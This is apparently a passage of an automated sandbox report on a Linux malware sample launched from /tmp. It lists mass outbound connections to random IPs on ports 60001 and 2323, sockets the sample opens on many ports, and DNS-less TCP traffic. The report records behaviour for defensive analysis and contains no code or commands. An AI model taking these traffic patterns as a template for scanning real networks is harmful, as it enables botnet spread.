Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.165.17.200:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 93.149.110.153:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 85.153.76.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.158.254.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 176.45.108.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 80.189.185.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 187.180.48.43:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 134.43.34.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 165.93.100.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 223.243.218.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 88.96.210.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 133.14.209.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 142.111.170.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 92.71.103.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 162.147.90.119:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 211.137.10.192:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 223.232.96.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 181.202.151.154:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 219.115.124.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 68.73.6.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 54.208.85.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.228.137.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.200.210.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 163.233.18.165:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 162.15.87.155:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 86.76.241.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 109.248.179.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 51.138.197.64:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 205.115.149.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.217.244.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.87.96.161:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 94.187.250.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 63.136.83.166:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 129.26.18.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 169.243.225.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 159.12.185.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 161.125.187.235:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 205.162.21.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 173.238.102.46:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.98.95.156:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.248.138.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 152.143.97.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 205.114.17.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 184.187.33.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 70.141.4.246:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 17.45.62.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 8.117.195.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 47.212.152.195:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 147.102.109.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.79.96.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.119.87.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 18.133.50.2:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 211.27.50.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 206.44.2.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 93.196.141.233:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.74.161.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 58.29.115.97:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 211.7.34.142:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 203.237.132.77:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 204.232.204.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 25.182.187.147:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.118.205.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 157.187.153.25:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 125.173.44.85:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 196.176.87.55:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 178.174.72.248:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 35.16.219.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 4.2.179.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 156.187.181.112:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.198.181.24:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 113.215.220.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.38.181.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 153.179.86.207:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 213.86.40.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 133.176.234.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 187.115.63.64:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.108.74.42:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.17.154.26:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 160.143.92.117:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 135.134.159.239:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 190.223.45.85:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 165.188.62.44:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 218.89.81.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 204.241.148.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 47.45.127.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.71.119.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.198.41.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 2.74.251.130:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 182.121.193.108:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 126.205.223.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.251.254.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 174.26.79.34:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 173.156.81.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 79.203.29.39:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 84.94.29.146:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.101.116.202:60001
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 123.195.104.58:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 17.70.7.83:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 74.28.100.202:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 143.32.92.250:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 52.79.231.71:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 57.112.70.8:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 130.133.22.58:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 169.109.118.134:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 88.208.187.157:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 14.116.233.190:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 4.43.172.83:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 194.65.212.156:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 70.138.187.241:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 113.195.150.196:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 95.121.124.186:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 61.70.250.122:2323
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 86.170.53.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 180.248.8.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 203.176.45.183:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 122.53.132.229:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.49.84.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 92.124.60.252:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 115.52.224.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 60.60.41.162:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 106.172.163.198:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 65.70.167.105:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 111.130.207.205:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.40.96.250:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.163.216.8:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 94.253.181.187:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 182.98.239.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 58.52.166.56:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 59.41.45.224:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 158.248.3.160:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 75.166.85.52:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 90.254.115.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.163.10.116:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.39.54.122:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 126.60.156.32:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 57.3.199.170:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 202.27.213.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 167.48.227.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.108.144.56:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 108.246.72.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 96.107.67.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.194.50.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 137.131.254.22:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 170.84.178.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 218.196.123.217:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 95.251.244.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 165.114.253.69:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 112.110.89.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 158.144.97.195:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 20.233.19.143:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 39.96.229.246:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 189.62.185.2:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.18.210.18:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 143.224.144.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 120.118.140.160:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 46.115.13.57:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 164.100.7.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 211.118.223.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 194.233.198.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.31.148.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 8.206.72.175:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 78.155.239.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 219.48.10.203:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 27.36.153.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 219.95.150.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.207.211.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 200.79.203.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 144.162.252.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 134.222.246.62:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 49.175.189.148:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 14.30.8.111:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 111.28.52.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 136.54.43.15:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 103.53.140.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 156.32.93.100:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 24.213.41.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 68.180.48.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 144.6.62.203:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 106.228.61.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 43.94.30.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 175.123.136.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 132.105.230.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 156.97.162.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.246.56.154:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 94.109.254.153:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 205.72.188.118:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 34.35.107.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 144.240.166.255:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.5.44.26:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.104.251.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 157.52.206.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 174.128.114.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 176.170.117.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 74.106.139.170:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 196.218.185.224:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 95.208.37.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 96.251.12.179:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 100.220.218.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.165.29.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 73.93.35.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 113.19.170.148:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.158.157.189:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 8.52.48.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 76.223.160.142:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 106.102.194.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 177.67.210.86:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 135.158.98.166:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 103.243.238.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 100.19.40.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.56.103.32:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 18.60.171.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 67.248.227.249:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 145.119.255.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 45.96.87.65:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.19.3.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.28.233.40:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.14.62.240:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.249.182.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 113.107.190.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.57.152.78:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 213.138.71.78:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.209.49.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 158.130.165.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.211.97.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.135.204.92:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.176.237.106:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 152.85.169.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 93.111.23.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 68.130.7.111:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 84.221.11.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 76.193.216.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.161.2.224:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.14.122.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 111.229.51.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 170.193.179.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 101.67.125.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.94.135.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 75.125.83.78:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 35.223.195.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 142.56.78.51:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 135.126.160.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 126.8.163.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.12.45.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 161.34.154.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 31.37.0.236:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 147.238.255.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 76.0.57.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 204.177.192.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 130.47.86.189:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 102.27.2.73:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 79.67.203.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 167.249.114.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.249.23.159:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 155.201.9.57:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 156.199.156.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 45.84.57.112:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 50.31.32.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 8.213.164.127:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 171.119.172.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 207.65.211.154:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.94.123.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 197.168.205.146:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.48.73.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 32.200.201.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 5.10.122.234:60001

Sample listens on a socket

Source: /tmp/nSg5RM0w0d (PID: 5278)	Socket: 127.0.0.1::43829	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::0	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8000	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::9000	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8080	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8081	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::53413	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::52869	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::37215	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::81	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8089	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8088	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8083	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::443	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::4444	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::8001	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::49152	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::40960	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::1024	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::1337	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	Socket: 0.0.0.0::420	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::23	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::0	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::80	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::60001	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8000	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::9000	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8080	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8081	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::53413	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::52869	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::37215	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::81	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8089	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8088	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8083	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::443	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::4444	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::8001	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::49152	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::40960	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::1024	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::1337	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	Socket: 0.0.0.0::420	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5321)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5498)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5527)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5566)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5668)	Socket: <unknown socket type>:unknown	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5746)	Socket: <unknown socket type>:unknown
Source: /lib/systemd/systemd-journald (PID: 5850)	Socket: <unknown socket type>:unknown
Source: /lib/systemd/systemd-journald (PID: 5925)	Socket: <unknown socket type>:unknown
Source: /lib/systemd/systemd-journald (PID: 6033)	Socket: <unknown socket type>:unknown

Source: unknown	Network traffic detected: HTTP traffic on port 36688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36690
Source: unknown	Network traffic detected: HTTP traffic on port 36694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36692
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36688
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35442
Source: unknown	Network traffic detected: HTTP traffic on port 35442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36684 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 116.139.20.113
Source: unknown	TCP traffic detected without corresponding DNS query: 53.140.253.164
Source: unknown	TCP traffic detected without corresponding DNS query: 160.244.252.219
Source: unknown	TCP traffic detected without corresponding DNS query: 106.186.4.115
Source: unknown	TCP traffic detected without corresponding DNS query: 143.20.123.85
Source: unknown	TCP traffic detected without corresponding DNS query: 14.85.178.30
Source: unknown	TCP traffic detected without corresponding DNS query: 104.12.55.80
Source: unknown	TCP traffic detected without corresponding DNS query: 74.97.245.104
Source: unknown	TCP traffic detected without corresponding DNS query: 43.26.203.44
Source: unknown	TCP traffic detected without corresponding DNS query: 47.240.228.221
Source: unknown	TCP traffic detected without corresponding DNS query: 124.224.50.17
Source: unknown	TCP traffic detected without corresponding DNS query: 5.236.157.4
Source: unknown	TCP traffic detected without corresponding DNS query: 1.195.166.194
Source: unknown	TCP traffic detected without corresponding DNS query: 116.151.115.9
Source: unknown	TCP traffic detected without corresponding DNS query: 19.234.2.69
Source: unknown	TCP traffic detected without corresponding DNS query: 105.18.136.120
Source: unknown	TCP traffic detected without corresponding DNS query: 69.105.154.223
Source: unknown	TCP traffic detected without corresponding DNS query: 204.59.138.218
Source: unknown	TCP traffic detected without corresponding DNS query: 27.78.60.127
Source: unknown	TCP traffic detected without corresponding DNS query: 167.18.244.178
Source: unknown	TCP traffic detected without corresponding DNS query: 63.35.64.164
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.129.229
Source: unknown	TCP traffic detected without corresponding DNS query: 17.248.48.48
Source: unknown	TCP traffic detected without corresponding DNS query: 125.193.182.178
Source: unknown	TCP traffic detected without corresponding DNS query: 85.60.0.108
Source: unknown	TCP traffic detected without corresponding DNS query: 47.199.200.41
Source: unknown	TCP traffic detected without corresponding DNS query: 8.26.253.162
